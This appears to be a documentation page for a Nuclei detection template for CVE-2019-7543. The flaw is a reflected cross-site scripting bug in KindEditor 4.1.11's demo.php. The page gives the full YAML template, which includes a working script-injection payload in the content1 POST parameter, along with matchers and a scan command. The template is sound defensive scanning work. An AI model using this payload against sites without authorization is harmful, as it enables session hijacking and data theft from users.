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KindEditor 4.1.11 - Cross-Site Scripting

ID: CVE-2019-7543

Severity: medium

Author: pikpikcu

Tags: cve,cve2019,kindeditor,xss,kindsoft

Description

Section titled “Description”

KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2019-7543


info:
  name: KindEditor 4.1.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION-Deployments
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.47935
    cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kindsoft
    product: kindeditor
  tags: cve,cve2019,kindeditor,xss,kindsoft


http:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'


    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"


    headers:
      Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html
# digest: 4b0a00483046022100cbc47678a0ca44e49934c1960bb0d9ef7073ac592ea83c8f89a6f8081a2aa452022100f296a045efebd2aae5df7acc8a75c7d9280aa11fdea00350525ef23383118b89:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-7543.yaml"

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